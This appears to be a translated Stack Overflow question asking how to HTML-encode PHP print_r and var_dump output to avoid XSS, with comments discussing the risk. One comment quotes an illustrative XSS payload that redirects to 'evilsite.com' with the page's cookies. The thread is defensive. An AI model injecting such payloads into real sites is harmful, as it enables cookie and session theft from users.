【发布时间】:2012-04-20 19:33:05
【问题描述】:
<?php
$x = array("<b>","<i>","b","i","<h1>hello</h1>");
print_r ($x);
echo "<hr>";
var_dump ($x);
在 html 源代码中输出这个!
Array
(
[0] => <b>
[1] => <i>
[2] => b
[3] => i
[4] => <h1>hello</h1>
)
<hr>array(5) {
[0]=>
string(3) "<b>"
[1]=>
string(3) "<i>"
[2]=>
string(1) "b"
[3]=>
string(1) "i"
[4]=>
string(14) "<h1>hello</h1>"
}
显然,我可能会被 XSS 攻击!
如何确保数组值是 htmlencoded?
【问题讨论】:
-
我不明白你在做什么。 print_r 和 var_dump 旨在用于调试,因此使用它们时 XSS 应该不会成为问题。
-
假设您正在从您自己的数据库中读取一些用户提供的值。并且您处于调试模式,您恰好运行 print_r($userdata) 并且 $userdata 中的值之一包含类似 [script]window.location.href="evilsite.com?cookies="+document.cookies “[/脚本]。
-
好吧,既然你是调试者,你可能知道不要点击你是第 1000000 个访问者横幅或接受可疑的 Java 小程序,所以你可能会没事的。如果您担心,您可以随时用一些虚拟文本替换数据或编写您赢得的调试输出例程。
-
AverageJoe - 一定要怀疑所有数据,即使它在您的数据库中。使用下面提到的@knittl htmlspecialchars。
-
@Scott,正是这个想法!我不知道你为什么提出这一点。我的问题是如何在 var_dump 和 print_r 中应用 htmlentities,这样我们就不会受到 XSS 攻击! Knittl 明白了这个问题。
标签: php xss html-entities var-dump